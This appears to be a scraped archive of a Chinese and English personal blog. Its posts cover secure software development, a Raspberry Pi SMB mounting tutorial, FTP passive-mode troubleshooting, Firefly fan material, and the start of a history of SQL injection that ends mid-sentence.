除此之外,企业还面临着更多的困境: * 安全漏洞总是很晚才被发现出来,造成的结果是安全漏洞的修复成本高昂。 * 未能检查出隐藏在应用中的安全漏洞,含有安全缺陷的应用被发布到生产环境中,这将增加企业面临的安全风险。 * 某些安全措施容易被误解为是团队的负担 * 开发团队人员安全技能有所缺失,应用的安全性过度依赖于应用安全团队 ### 2\. 为何安全漏洞如此难以消除? 为消除安全漏洞,企业采取了不少措施,然而一个不争的事实是,企业主要依赖于Web应用防火墙(Web Application Firewall,下文简称WAF)和渗透测试(或安全审计)。然而问题在于,这两种措施固然有效,但是也存在着明显的不足。 #### 2.1 WAF是把双刃剑 WAF主要的职责是阻挡攻击,为开发团队争取修复漏洞的时间。换言之,只要应用中存在安全问题的代码没有被修复,漏洞就会一直存在,一旦WAF规则被绕过,或者配置不当,反而会将应用置于更高的安全风险当中。此外,误报和漏报始终是WAF无法彻底解决的问题,与此同时,随着应用规模的扩大,业务逻辑复杂度的增加,对于WAF的管理维护难度也在不断增加。 #### 2.2 渗透测试让企业面临两难的境地 渗透测试确实能发现安全漏洞,但是也存在着明显的不足。首先是太晚才能得到安全问题的反馈,因为通常而言,渗透测试会被安排在产品上线发布之前进行,此时如果检查出安全漏洞,企业反而会面临两难的境地:修复安全漏洞之后再发布产品,或者强行发布包含安全漏洞的产品。同修复业务缺陷一样,修复安全漏洞也是越晚修复成本越高,开发团队需要投入更多的时间和人力,而这可能导致产品推迟发布,错失市场机会;如果强行发布含有安全漏洞的产品,又将增加被黑客攻击利用的风险。 #### 2.3 抛开现象看本质,问题的根源在于缺乏高效的安全反馈机制 应用中的安全漏洞是在开发过程当中由于各种原因被引入的,然而回顾现有的安全措施就会发现,其中大量的措施发生在应用程序开发过程之外,例如WAF、安全监控发生在产品上线之后,渗透测试需要等待开发完毕后才能进行,而安全培训、安全规范只能起到预防作用。尽管各种安全措施都能为开发团队提供不同程度的安全反馈信息,然而问题在于,大量的安全措施都发生在开发过程之外,距离安全问题被引入的时间点之间有很长的距离,因此安全问题不能及时的反馈给开发团队。 此外,由于不少安全措施的成本高、耗时长,因此难以持续性的为开发团队提供安全反馈。例如聘请第三方安全公司对应用进行安全渗透测试的价格较高,且往往需要几天甚至更多时间才能收到安全报告。 ### 3\. 更好的解决安全问题 安全漏洞本质上是软件质量缺陷,安全性是软件质量的重要组成部分,而现如今应用安全面临的问题和多年以前软件测试面临的问题极其相似。当时人们在开发软件的时候,采取的做法往往是在软件开发临近结束之时集中性的进行测试,修复发现的质量缺陷,结果是当时的软件质量普遍不高,不少项目因此失败。 为了提高软件质量,开发团队采取了一些措施,例如将测试介入的时间点提前,尽早进行测试,甚至是先写测试后写实现代码,与此同时也大量采用自动化测试来加快测试执行速度,采用构建流水线持续关注软件质量,并且每位团队成员都对软件质量负责,而不再认为只是测试人员的职责。这些措施之所以能够显著提高软件质量,关键在于它们能够更加高效的为开发团队提供软件质量相关的反馈信息,使得开发团队能够基于反馈结果迅速进行改进。 同理,要更好的解决安全问题,开发团队应当建立起一个高效的安全反馈机制,在开发过程中引入一些安全活动,尽早开始收集安全反馈信息,加快获取安全反馈的速度,在整个开发过程中持续性的关注应用的安全性,与此同时团队成员共同来承担安全职责。我们将这些在实践中总结出来的经验命名为内建安全的软件开发方式(Build Security In DnA,下文简称BSI),从源头上尽早、尽快、持续性的,以团队共同协作的方式发现并解决安全问题。 [![image_3](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b5ac4b3898_7cc829d3jw1f4d8ulqj3fj20ge073jrx.jpg)](http://insights.thoughtworkers.org/wp-content/uploads/2016/05/image_3.png) _图 3-1 内建安全的软件开发方式 (Build Security In)_ #### 3.1 尽早获取安全反馈 越早获取到安全反馈信息,越有利于开发团队以更低的成本将其修复。一个反面例子是,安全问题在早期就已经引入了,但是只能通过后期的渗透测试才能暴露出来,安全反馈信息经历了很长一段时间才能反馈给开发团队。与其依赖于后期的渗透测试,不如在开发过程当中引入一些适当的安全实践,比如在分析业务需求的同时主动分析安全需求,将其作为质量验收标准在团队内明确出来,再比如,针对每次代码提交都对其进行安全评审、测试人员在测试业务功能的同时还对安全性进行验证。通过这种方式,使得团队能够尽快得知应用的安全状况,而不必依赖于很晚才能提供安全反馈的渗透测试。 [![image_4](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d1f488488e_7cc829d3jw1f4d8ust69hj20nn07z756.jpg)](http://insights.thoughtworkers.org/wp-content/uploads/2016/05/image_4.png) _图 3-2 在开发过程当中引入安全实践_ #### 3.2 通过自动化加速获取安全反馈的速度 从安全角度对代码进行的评审,以及测试人员主动进行安全测试等等手段都能更早的产出安全性的反馈信息,但是传统的安全测试、渗透测试主要是以手动的方式进行,造成的结果是需要耗费许多时间才能收集到安全反馈信息。更好的做法是,对于常规的安全测试可以借助工具以自动化的方式进行,不仅能够以更快的速度得到安全性反馈,还能在一定程度上弥补由于人员安全技能不足所造成的安全测试不够全面的问题。自动化带来的另外的好处是,它可以集成入CI服务器,从而让开发团队可以在CI流水线完成之后第一时间发现应用的常规安全问题,而不必等到上线前由安全专家来发现安全问题。 例如,应用通常依赖于各种第三方组件,这些组件可能含有已知的安全漏洞,手工对每个组件进行安全检查是行不通的,更好的做法是利用自动化的检查工具如OWASP Dependency Check,以更快的速度对组件进行安全检查并且生成结果报告。这一过程是完全自动化的,开发团队只需定期检查报告即可,使得开发团队获取反馈的速度得到极大的提升。 #### 3.3 在开发过程中持续性的关注安全 收集安全反馈不是一次性的活动,高效的安全反馈机制和持续集成秉持相同的理念:除了尽早集成、尽快集成之外,很重要的一点就是让集成活动能够持续性的发生。类似的,对于建立高效的安全反馈机制而言,在能够尽早、快速的获取安全反馈的同时,还需要让这个反馈循机制在应用开发过程中持续的运行下去。 自动化使得开发团队能够更容易的做到对安全的持续关注。例如,将自动化的代码安全扫描和持续集成服务器结合起来,这样在每次代码提交后都能得到一份安全报告,从而可以立刻着手进行相应的修复。此外,对于那些不适合自动化运行的安全实践而言,开发团队依然有必要持续性的去做。例如,每当应用的功能发生变更之时都应该进行一次威胁建模以分析安全威胁,明确安全需求,每当新的功能被开发出来,测试人员都要对其安全性进行验证。 [![image_5](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/96b6056e2d_7cc829d3jw1f4d8uti38ej20by0agmxr.jpg)](http://insights.thoughtworkers.org/wp-content/uploads/2016/05/image_5.png) _图 3-3 对安全保持持续性的关注_ #### 3.4 团队成员共同承担安全职责 大多数人认为团队中的测试人员应该对产品的安全负责,理由是他们要进行各种测试,安全测试理应包含在内。如果有专门的安全团队,则更多的人会认为安全团队应该主导产品的安全性,毕竟,在他们眼里这是安全团队天生的职责。 但这是一种误解,只要人们认为安全应该由团队中的某个角色或者某个独立的团队负责,就容易形成消极的氛围:既然有专门的人在负责产品安全,那就说明安全不是自己的职责,等发现安全问题了再说。这种氛围会带来很多负面影响,例如:安全问题难以及早发现并解决,人员安全技能得不到锻炼,安全改进在团队内难以推动,等等。 和传统的高度依赖于某个角色或者安全团队来保证产品安全的做法不同,BSI则是把安全职责拆分到团队中的每个角色身上,让所有人都参与进来,共同协作解决安全问题。每个人都肩负着维护产品安全性的责任,主动为此付出努力。 业务分析人员在分析业务需求的同时把产品的安全性纳入考虑的范围之内,如果他们没有相关的安全技能,则可以和技术人员合作共同来完成这一任务,与此同时,开发人员在编码的过程中有意识的去避开安全风险,并协助测试人员对产品进行安全测试。在产品交给安全团队进行安全审查之前,一些安全漏洞已经被发现并修复了,甚至在需求分析之时就已经被规避了。此时的产品已经具备了一定的安全性,也为安全团队争取到了更多的时间,使得他们可以把更多的精力放在检测深层次安全漏洞上面。 通过这种共同分担职责的方式,开发团队在应对安全问题上的内部凝聚力会得到增强,团队成员会更有意愿和动力去提升自己的安全能力。更重要的是,这种做法可以使得团队成员以及安全团队能更好的进行协作,从而逐渐形成良性循环。 [![image_6](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b87e05f5b1_7cc829d3jw1f4d8uu3tvsj20a50b9t99.jpg)](http://insights.thoughtworkers.org/wp-content/uploads/2016/05/image_6.png) _图 3-4 共同承担安全职责_ ### 4\. 总结 安全,是每个企业都需要做到的,在互联网时代更是重中之重。企业正面临着全新的安全挑战,然而现有的一些传统安全措施却并不能高效的解决这些问题,主要的原因在于过度依赖WAF、渗透测试等被动防御手段,往往是在比较晚的时候才获取的安全反馈,导致安全问题修复成本高昂,甚至使企业陷入进退两难的局面。 为了提高应用的安全性,并且弥补传统安全措施的不足,Build Security In应运而生:在软件开发过程中引入合适的安全实践以尽早发现安全问题,利用自动化的优势缩短安全问题的反馈周期,持续的、以共同协作的方式主动预知并化解安全问题。在减轻开发团队和安全团队负担的同时,提高发现、解决安全问题的效率。 安全不是绝对的,所以BSI对于安全的保证也是相对的,但是对于业务越来越复杂,规模越来越庞大的软件系统,BSI这种内建安全的软件开发方式必将从源头上减少安全风险,降低被黑客攻击的可能,从而显著减少系统在上线使用后因安全问题造成的损失,使其在互联网的大潮中生存下来。 ### 相关文章 * [Redis 未授权访问缺陷可轻易导致系统被黑](http://blog.jobbole.com/94518/) * [StackOverflow 这么大,它的架构是怎么样的?](http://blog.jobbole.com/98633/) * [你的代码(软件)安全吗?](http://blog.jobbole.com/16511/) * [从一个程序员笑话看软件开发管理](http://blog.jobbole.com/8903/) * [The Joel Test: 软件开发成功 12 法则](http://blog.jobbole.com/18675/) * [Chromium团队的安全开发核心准则](http://blog.jobbole.com/16670/) * [SQL 注入,永不过时的黑客技术](http://blog.jobbole.com/98879/) * [Google调整漏洞奖励计划,单个漏洞最高奖励7,500美元](http://blog.jobbole.com/29366/) * [程序员需要谨记的9个安全编码规则](http://blog.jobbole.com/16529/) * [软件设计杂谈](http://blog.jobbole.com/90721/) [内建安全的软件开发](http://blog.jobbole.com/101726/),首发于[文章 – 伯乐在线](http://blog.jobbole.com)。 --- ## What was Shepherd Book’s past in Firefly? 冲出宁静号里面的牧师到底有什么背景 Date: 2016-04-28 URL: https://blog.wo.ai/archives/1175 Categories: English, Music & Movie ![](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2016/04/book-233x300.png)Derrial Book 看宁静号的时候,有些情景比较有趣,牧师作为牧师,居然对枪、杀手等非常熟悉,尤其在中枪之后,被送到联盟要求救治被拒后,拿出身份卡,联盟立即就开始救助,并且给宁静号上所有人都治疗并释放了。这是有多高的地位的人才能享有的待遇。在豆瓣小组里面翻了一圈,貌似没有找到。google了一圈,总算找到一些蛛丝马迹。 google上推荐去看[Serenity: The Shepherd’s Tale](http://www.amazon.com/dp/1595825614/?tag=woaiblog),这个漫画里面似乎有介绍,可惜要求美刀去买,而且不知道猴年马月才能到(猴年马月其实再过一个月就到了)。继续看看大家的评论,终于找到了。 Shepherd Book was abused as a boy, and lived on the street for a while. He wasn’t born under the name Shepherd Book, BTW. He joined up with the independence movement, and volunteered to be a spy on the Alliance. He was an officer until he led a brilliant defeat, after which he was discharged. He later lived in a monastery for a time, and became the preacher we all know:-) | | **TL;DR: Book’s official status within the Alliance (and therefore on his ident chip) was that of a retired Alliance commander. This would result in VIP treatment at most Alliance facilities.** * * * I’ll outline his entire known history in the spoiler tags below. Most of this is outlined in the comic “[The Shepherd’s Tale](http://firefly.wikia.com/wiki/Serenity:_The_Shepherd's_Tale)“, which is essentially Book reflecting back on his life while dying at Haven. ## Early Life > Originally named Henry Evans, the man we know as [**Derrial Book**](http://firefly.wikia.com/wiki/Derrial_Book) was born on a border planet to an abusive father. At the age of ten, he ran away from home and became adept at survival on the streets. He eventually garnered some reputation as a thief & criminal, but ended up joining the growing Independence Movement. ## Life as a Browncoat > In the four years before his Alliance assignment, Evans quickly became known for his vicious skills in combat – easily (and brutally) taking down entire squads of Alliance soldiers during missions. When the Browncoats began looking for a long-term operative who could infiltrate the Alliance military as a double agent, Evans volunteered. He needed a new identity, so he murdered a random citizen named Derrial Book and took that name as his own. ## Life in the Alliance > Once in the Alliance, Book began a “meteoric” rise through the ranks. He was seen as totally committed to the cause and earned a reputation for using savage tactics against the Browncoats, quickly becoming known as a master interrogator. Because of his rising rank & influence, Book found himself increasingly able to both damage the Alliance plans as well as cover up losses or information leaks. He quickly became a vital asset for the Browncoats, but also one of their most guarded secrets. ## Retirement > Book eventually found himself in command (or perhaps XO) of the [IAV Cortez](http://firefly.wikia.com/wiki/I.A.V._Cortez), an Alliance cruiser which oversaw an operation intended to end the Unification War in a single stroke. Book himself was in charge of the operation, which involved committing massive resources into striking multiple targets at once. Due to Book’s involvement, however, the operation was actually a huge ambush. Numerous forces were lost, including the total destruction of the [IAV Alexander](http://firefly.wikia.com/wiki/I.A.V._Alexander) and all 4000 crew. Considered one of the largest defeats in Alliance history, the entire operation was swept under the rug and Derrial Book was quietly discharged from Alliance service. ## Life at the Abbey > With the Independent Movement crushed soon after, Book wasn’t sure what to do with himself. He wandered the outer territories, weary of his life and drowning his sorrows in alcohol. At one point, he finds himself at a church and comes to see religion as a way to atone for the many people he had killed throughout his life. It apparently worked, as he eventually ended up at the[Southdown Abbey](http://firefly.wikia.com/wiki/Southdown_Abbey) on Persephone. Book finally found peace tending the Abbey’s garden, but knew he couldn’t stay there indefinitely. ## Life on Serenity > After an unknown amount of time at the Abbey (but presumably several years), Book decided to leave and get back out into the galaxy. The Abbey had access to the Cortex, and Book had tired of watching others suffer along the rim. He announced his intention to carry the Lord’s message out to others, and this leads us directly to his introduction in S01E01 “Serenity”. As for your specific question, his ident chip reflected his official status with the Alliance – a retired Captain or Commander. Especially in a medical situation like that, a status like that would require any Alliance officer to render immediate assistance. ---|--- Henry Evans had a troubled childhood and was a criminal for a time before enlisting with the independence movement. As a member of The Independence he volunteered to spy on The Alliance. He killed a man named Derrial Book assumed his identity to enlisted in the Alliance Military. While still working as a spy for The Independence he quickly worked up the Alliance ranks to become a prominent officer. At a key point during the war he intentionally lost a major battle dealing a crushing blow to the alliance and leading to him being discharged. This loss was so crushing that the alliance made a point to wipe all record of it out. Meaning on paper shepherd Book is nothing but a retired prominent Alliance officer. After being discharged he “found god in a bowl of soup” while at a soup kitchen and decided to join an Abby. He eventually left and ended up boarding Serenity. Source:http://scifi.stackexchange.com/questions/166/what-was-shepherd-books-past-in-firefly Biography To the crew of Serenity, Derrial Book’s past was a mystery. He indicated early on that he was a shepherd who had been living in theSouthdown Abbey and that he never married.[1] In truth, “Derrial” was not even the shepherd’s real name, but rather the name of a man he had killed. Book, whose birth name was Henry Evans, lived as a young boy in dread of his highly abusive father. He would listen to music to take himself to a peaceful place in his mind, only to be beaten. He finally chose to leave home, but after ten years had merely established himself as a successful thief, adept at avoiding law enforcement. He was then recruited by the Independence Movement, a representative of which having been impressed at his excellent combat potential. In four years he honed his fighting skills, easily defeating heavily-armed federal agents singlehandedly. Evans was not known among his Independence peers to attend their meetings, but he showed up for one and there he volunteered to take part in a highly-sensitive mole operation. Since the Independence organizers had learned that the Alliancewas creating warships, they plotted to plant a long-term mole to rise through the ranks of the Alliance and subvert them at every turn. Henry’s left eye was extracted and replaced with a biorobotic camera and transmitter, which would provide excellent surveillance. To join the Alliance, he needed a new identity. So he lured an unsuspecting young man named Derrial Book into an alley, murdered him with a garrote, and took on this name permanently. In four short years, he orchestrated a “meteoric” rise through the Alliance ranks and was selected for the officer corps from the law enforcement on Jiangyin. He utilized brutal beatings on captured Independence members—men and women alike—which impressed his superiors. After six years, he was an officer aboard the I.A.V. Cortez, where he directed the final movement of an Alliance operation to ambush Independence transports on a massive scale: six installations on different planets and at least one space-borne transport convoy were raided by Alliance forces at the same moment, but each was ambushed. It was the “single greatest disaster in Alliance history”. The most prominent loss was the destruction of the I.A.V. Alexander and the loss of all 4,000 souls aboard; elsewhere, about 300 soldiers were captured. Book was immediately discharged without trial and thrown into an escape vessel in disgrace. He lived as a derelict for six years after until he experienced an epiphany about his place in the universe while staring into a bowl of chicken soup. He was suddenly seized with purpose, and joined the Southdown Abbeywhere he remained for a decade, until he finally chose to leave the abbey—on good terms and with encouragement—and become a missionary. He then joined the crew of Serenity. Book frequently made references to Christian theology and consulted and quoted the Bible. But Book later expressed concern that he was being corrupted by living on Serenity and he left the ship[5] and moved to the planet Haven. There he was killed by an Alliance soldier sent to destroy Haven after Serenity managed to shake an Alliance assassin known only as “the Operative”. However, he was not a passive figure in the events leading up to his death; he defended Haven and shot down the A.V.-Sparrow that attacked the settlement.After taking down the ship, Mal told Book that he did the right thing, to which Book replied, “Coming from you, that means almost nothing.” “I don’t care what you believe. Just believe it!”~ Book’s dying words to Mal Source: http://firefly.wikia.com/wiki/Derrial_Book --- ## FTP时显示500 Illegal PORT command的解决 Date: 2016-04-27 URL: https://blog.wo.ai/archives/1173 Categories: Technology 使用EditPlus打开FTP服务器上的文件时,发现连接不了 在windows的dos窗口用FTP命令去连时,可以登录,但使用ls等命令时,出现: 500 Illegal PORT command. 425 Use PORT or PASV first. 根据提示是被动模式的问题 在EditPlus的FTP设定高级选项中,选上passive FTP mode即可而dos窗口的FTP命令则无法设置为被动模式 FTP主/被动模式的原理 ————————————————————————————————————————————————– FTP是File Transfer Protocol(文件传输协议)的缩写,用来在两台计算机之间互相传送文件相比于HTTP,FTP协议要复杂得多复杂的原因,是因为FTP协议要用到两个TCP连接,一个是命令链路,用来在FTP客户端与服务器之间传递命令;另一个是数据链路,用来上传或下载数据 FTP协议有两种工作方式:PORT方式和PASV方式,中文意思为主动式和被动式 PORT(主动)方式的连接过程是:客户端向服务器的FTP端口(默认是21)发送连接请求,服务器接受连接,建立一条命令链路当需要传送数据时,客户端在命令链路上用PORT命令告诉服务器:我打开了XXXX端口,你过来连接我于是服务器从20端口向客户端的XXXX端口发送连接请求,建立一条数据链路来传送数据 PASV(被动)方式的连接过程是:客户端向服务器的FTP端口(默认是21)发送连接请求,服务器接受连接,建立一条命令链路当需要传送数据时,服务器在命令链路上用PASV命令告诉客户端:我打开了XXXX端口,你过来连接我于是客户端向服务器的XXXX端口发送连接请求,建立一条数据链路来传送数据 概括: ——————————————————————————– 主动模式:服务器向客户端敲门,然后客户端开门 被动模式:客户端向服务器敲门,然后服务器开门 所以,如果你是如果通过代理上网的话,就不能用主动模式,因为服务器敲的是上网代理服务器的门,而不是敲客户端的门 而且有时候,客户端也不是轻易就开门的,因为有防火墙阻挡,除非客户端开放大于1024的高端端口 ——————————————————————————– 要用主动模式来下载,请您把下载工具的被动模式(PASV)都不要打勾,用主动模式来下载就OK了,如果在出错,那就被动主动相互转换一下 常见的FTP客户端软件的PASV方式的关闭方法 大部分FTP客户端默认使用PASV方式,PASV模式的意式是被动模式 在大部分FTP客户端的设置里,常见到的字眼都是PASV或被动模式 IE: 工具 -> Internet选项 -> 高级 -> 使用被动FTP(需要IE6.0以上才支持) CuteFTP: Edit -> Setting -> Connection -> Firewall -> PASV Mode 或 File -> Site Manager,在左边选中站点 -> Edit -> Use PASV mode FlashGet: 工具 -> 选项 -> 代理服务器 -> 直接连接 -> 编辑 -> PASV模式 FlashFXP: 选项 -> 参数选择 -> 代理/防火墙/标识 -> 使用被动模式 或 站点管理 -> 对应站点 -> 选项 -> 使用被动模式 或 快速连接 -> 切换 -> 使用被动模式 LeapFTP: Option ->Preferences -> General->Proxy->Use Pasv Mode --- ## MOUNT AN SMB NETWORK DRIVE ON RASPBERRY PI Date: 2016-04-26 URL: https://blog.wo.ai/archives/1171 Categories: Raspberry Pi, Technology original post: http://geeks.noeit.com/mount-an-smb-network-drive-on-raspberry-pi/ In this tutorial we will describe how to connect your Raspberry Pi to a network drive and permanently mount it to your system. Even though this article uses a Raspberry Pi as an example to connect to an SMB drive, the steps used can be applied to any Debian based system, such as Ubuntu. If you have a Raspberry Pi you might have noticed that the storage possibilities are kind of limited unless you have some external storage. Even though you can get SD cards with 64+gb of storage, you probably want more if you have a lot of music and movies that you are streaming through your Pi. There are several choices when it comes to storage for your Pi, such as network drives, flash drives, or external USB HDDs. Using a network drive you can not only access your files from the Pi, but from any computer connected to your network, which is very convenient. #### Prerequisites Before we start, I will assume you already 1. have a network drive connected to your LAN, and 2. know its LAN IP address _Note: remember to change all text in red to your own values._ #### Installation In order to mount the drive, you need to have `cifs-utils` installed on your system. If you are running a newer version of Raspbian or RaspBMC you should already have this installed. You can check whether it is installed or not by running the following command: dpkg -s cifs-utils If it is installed, it should output something like this: Package: cifs-utils Status: install ok installed Priority: optional Section: otherosfs Installed-Size: 189 Maintainer: Debian Samba Maintainers Architecture: armhf Version: 2:5.5-1 ... If it says that it’s not installed, you need to install it: sudo apt-get install cifs-utils #### Mounting unprotected (guest) network folders You might have public folders on your network drive that can be accessed by anyone without having to provide any credentials. These are mounted in the same way as password-protected folders (we will mount these in the next section), but with a few different options. First, let’s create a directory on the Pi where we want to mount the directory. You will need a separate directory for each network folder that you want to mount. I will create the folders in the `/media` folder: sudo mkdir -p /media/networkshare/public Then edit your `/etc/fstab` file (with root privileges) and add this line: //192.168.0.18/publicshare /media/networkshare/public cifs guest,uid=1000,gid=1000,iocharset=utf8 0 0 The first part is the IP of your network drive, and the public folder you want to mount. The second part is the folder on your local machine where you want to mount the network share. The third part indicates what type of drive you want to mount (`cifs`). The last part is the set of options you can pass, and here’s an explanation of the ones we are using: * **guest** is basically telling the network drive that it’s a public share, and you don’t need a password to access it (not to confuse with username), * **uid=1000** makes the Pi user with this id the owner of the mounted share, allowing them to rename files, * **gid=1000** is the same as **uid** but for the user’s group, * **iocharset=utf8** allows access to files with names in non-English languages. _Note: If there is any**space in the server path** , you need to replace it by **\040** , for example //192.168.0.18/My**\040** Documents_ To find the **uid** and **gid** for your username, use the following command: id username Now that we have added this to our `/etc/fstab`, we need to (re)mount all entries listed in `/etc/fstab`: sudo mount -a Now you can access your network drive from `/media/networkshare/public` (or wherever you chose to mount it). #### Mount password-protected network folders Mounting a password-protected share is very similar to mounting a public ones, with some minor changes to the options we pass. Let’s start by making a new folder where we want to mount the password-protected share: sudo mkdir -p /media/networkshare/protected Again, open `/etc/fstab` (with root privileges), and add this line: //192.168.0.18/protectedshare /media/networkshare/protected cifs username=msusername,password=mspassword,uid=1000,gid=1000,iocharset=utf8 0 0 While this is a perfectly valid way of mounting your protected folder, it’s not very secure. Since `/etc/fstab` is readable by everyone, so are your credentials in it. So, let’s make it more secure by using a credentials file. This file will contain nothing else but your username and password, but we will make readable only to you. This way, other users on the system won’t be able to see your credentials. Using a text editor, create a file that will contain the credentials for your protected network share: vim ~/.smbcredentials Enter your username and password for the protected share in the file: username=msusername password=mspassword Save the file. Change the permissions of the file to make sure only you can read it: chmod 600 ~/.smbcredentials Then edit your `/etc/fstab` file and change the line where we are mounting the protected share to look like this: //192.168.0.18/protectedhare /media/networkshare/protected cifs credentials=/home/username/.smbcredentials,uid=1000,gid=1000,iocharset=utf8 0 0 Save the file. Again, we need to (re)mount all entries listed in `/etc/fstab`: sudo mount -a Now you’re all set to access your public and protected folders from your Pi. [CIFS](http://geeks.noeit.com/tag/cifs/) [DEBIAN](http://geeks.noeit.com/tag/debian/) [HDD](http://geeks.noeit.com/tag/hdd/) [NETWORK](http://geeks.noeit.com/tag/network/) [RASPBERRY PI](http://geeks.noeit.com/tag/raspberry-pi/) [RASPBIAN](http://geeks.noeit.com/tag/raspbian/) [RASPBMC](http://geeks.noeit.com/tag/raspbmc/) [SMB](http://geeks.noeit.com/tag/smb/) [TUTORIAL](http://geeks.noeit.com/tag/tutorial-2/) [UBUNTU](http://geeks.noeit.com/tag/ubuntu/) [XBMC](http://geeks.noeit.com/tag/xbmc/) --- ## firefly – serenity 萤火虫 冲出宁静号 Date: 2016-04-26 URL: https://blog.wo.ai/archives/1163 Categories: English, Music & Movie ![serentiy](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2016/04/index_01.jpg)![FireFly](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2016/04/FireFly-1024x640.jpeg) ![serenity-summer_00354141](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2016/04/serenity-summer_00354141-1024x576.jpg) 最近总算追完了《firefly》这部美剧,然后又看了《Serenity》这部电影,算是交代了电视剧的结局。 Take my love Take my land Take me where I cannot stand I don’t care,I’m still free You can’t take the sky from me Take me out to the black Tell them I ain’t coming back Burn the land and boil the sea You can’t take the sky from me There’s no place I can be Since I found Serenity But you can’t take the sky from me 这部电视剧以这首歌开始,体现了电视剧的基本内容: 即使夺走了我的爱和我的土地,让我无处可栖,但是我不怕,我向往自由,你无法夺走我的天空。 听到对白里面英语里面掺杂着我也听不懂的中国话,总感觉怪怪的。后来才知道导演比较喜欢中国,认为未来是中国的天下,剧中未来的世界,汉语和英语是通行的两种官方语言。话说回来,现在很多人说话,汉语里面插着不少英语单词,给老外也许也是怪怪的感觉。 這戲的偉大,在於它很短,就是被腰砍了,才播出11集(後來的dvd,出到14集),但不給人「爛尾」之感,而接續的電影版大結局serenity(衝出寧靜號),更是壯烈到驚人的地步,這麼艘破船,一船見錢眼開的爛傭兵,到最後,真是以命相博,就為了個,不知從哪撿來的,怪里怪氣的小屁孩。 這群人,最終不但揭漏了聯邦的無恥祕密,其代價更是無比昂貴,只因他們基本上是下定決心,命不要了,集體立志犧牲生命……。 至此,firefly 終於成就了一個影史的特例,一部被砍的小美劇,竟然能衍生出 serenity 這樣的電影鉅作,科幻鉅作,太空史詩鉅作,類型電影鉅作。它,不但成為影史特例之一,不但是影迷心中的cult,它,更變成影迷心目中的孤絕象徵。 片中,mal 帶領著寧靜號,抵抗聯邦。 戲外,我們這些影迷,也跟該死的fox電視台抵抗呢。 你把我們的影集砍了,我們用dvd的銷量,還有用電影版的賣座,證明你們的無知和罪惡! (Joss Whedon:「這部電影本不該存在的」,他繼續說:「遭停播的電視劇,沒有資格拍成電影,除非製片、演員和影迷,能相信……這部電影,意義空前。」) 电影的结局以mal和river的对话,讲述了他和Serenity的关系, You know what the first rule of flying is? well, I suppose you do, since you already know what I’m about tot say. Love. You can learn all the math in the ‘verse, but you take a boat in the air that you don’t love, she’ll shake you off just as sue as the turn of the worlds. Love keeps her in the air when she ought to fall down, tells you she’s hurting before she keels. Makes her a home. --- ## How to wake up a pc by PHP Date: 2016-04-18 URL: https://blog.wo.ai/archives/1160 Categories: Raspberry Pi, Technology source: http://php.net/manual/en/ref.sockets.php http://www.rkrishardy.com/2009/12/permission-denied-13-when-opening-socket-in-php-apache/ --- ## How do I start to to play videos automatically while boot? Date: 2016-04-15 URL: https://blog.wo.ai/archives/1156 Categories: Raspberry Pi, Technology Seems like the answer to your question is contained [within an other question on this site](http://raspberrypi.stackexchange.com/questions/7257/raspberry-pi-does-not-play-the-videos-in-ascending-order). > I am trying to play videos automatically when the Raspberry Pi boots. I decided to use crontab for that: > >> @reboot /storage/.config/autostart.sh > > The autostart.sh file contains the following code: > >> xbmc-send -a “PlayMedia(/storage/videos/)” > > The Raspberry Pi successfully automatically starts to play videos from /storage/videos/ directory when it reboots. Hope that helps. This is like asking “How do I fix my car when it won’t start?” Your question is way to broad to answer. The process will remain basically the same form case to case. Here are some steps that you can go through to figure this out. 1. GOOGLE 2. Using Terminal, shell, SSH, etc., figure out the command that will start the video as desired. 3. READ this document to figure out how to turn that shell command into a bash script. 4. READ this document to figure out how to run that bash script on boot 5. Reboot, test and troubleshoot. --- ## javascript如何阻止click事件连续触发 Date: 2016-03-29 URL: https://blog.wo.ai/archives/1152 Categories: Technology 在 中包含一个checkbox,点击时不仅激活checkbox的click事件,还会激活td或者tr的click事件,称作bubble event。 解决方法是: $(“table tbody td”).click(function(e){ if(e.target.nodeName.toUpperCase() == “INPUT”){ alert(“It’s an input!”); return; }else{ alert(“It’s not an input!”); } }); --- ## SQL 注入,永不过时的黑客技术 Date: 2016-03-23 URL: https://blog.wo.ai/archives/1150 Categories: Uncategorized TalkTalk的信息泄漏事件导致约15万人的敏感信息被暴露,涉嫌造成这一事件的其中一名黑客使用的并不是很新的技术。事实上,该技术的「年纪」比这名15岁黑客还要大两岁。 [译注:TalkTalk是英国电话和宽带供应商,这件信息安全事故发生在2015年10月份,当时这件事情还挺轰动的,上了新闻头条,其中一名黑客年仅15岁。] 这项技术就是大名鼎鼎的SQL注入,所谓SQL注入就是黑客在网站的提交表单数据中输入恶意命令从而获取数据的方法。它曾经被用来窃取世界卫生组织员工的信息,偷过华尔街日报数据,甚至还攻击过美国联邦政府机构。 “这是最简单的黑客技术”,w0rm 告诉 Motherboard _[译者注:Motherboard就是这篇文章原文所在网站]_ ,他是一名匿名黑客,声称对华尔街日报的攻击负责。整个攻击过程只用了几个小时。 但是,正因为它是比较简单的技术,同时经常被用来从公司或者政府机构窃取数字信息,所以SQL注入攻击应该相对来说比较容易防范才对。 但为何到了2015年,SQL注入攻击仍然能导致最大规模的信息泄漏事件呢? 有迹可循的最早SQL注入攻击的记录大概是Jeff Forristal在黑客杂志Phrack上发表的文章。Forristal当时是rain.forest.puppy的掌舵人 _[译者注:rain.forest.puppy是一个安全咨询组织,或者说,是个黑客团队?:)]_ ,他目前在网络安全公司Bluebox,负责移动安全方面的CTO。 > “微软声称,你看到的都不是问题,所以不用费心去处理它” > > [译者注:这是有人给微软报告SQL server这个漏洞时,微软的回复] SQL, 全称为结构化查询语言,是一种用来管理数据库的编程语言。本质上说,他就是被网站用来从数据库中提取一些数据来处理或者展示给用户的。 但是Forristal发现,当输入特定的命令时,会导致服务器泄漏信息。“用户可能捎带一些自己的SQL语句”,他写道。 在Phrack的1998年12月份期刊上,Forristal发表了微软的SQL server的一系列SQL注入的问题。当Forristal的同事们向微软反馈此问题时,“他们的回答是:好了,别闹了”,他写道,“他们说,你看到的都不是问题,所依别费心去处理了” SQL注入发展到今天,已经过去了15年,在OWASP组织每三年发表一次的OWASP的Top 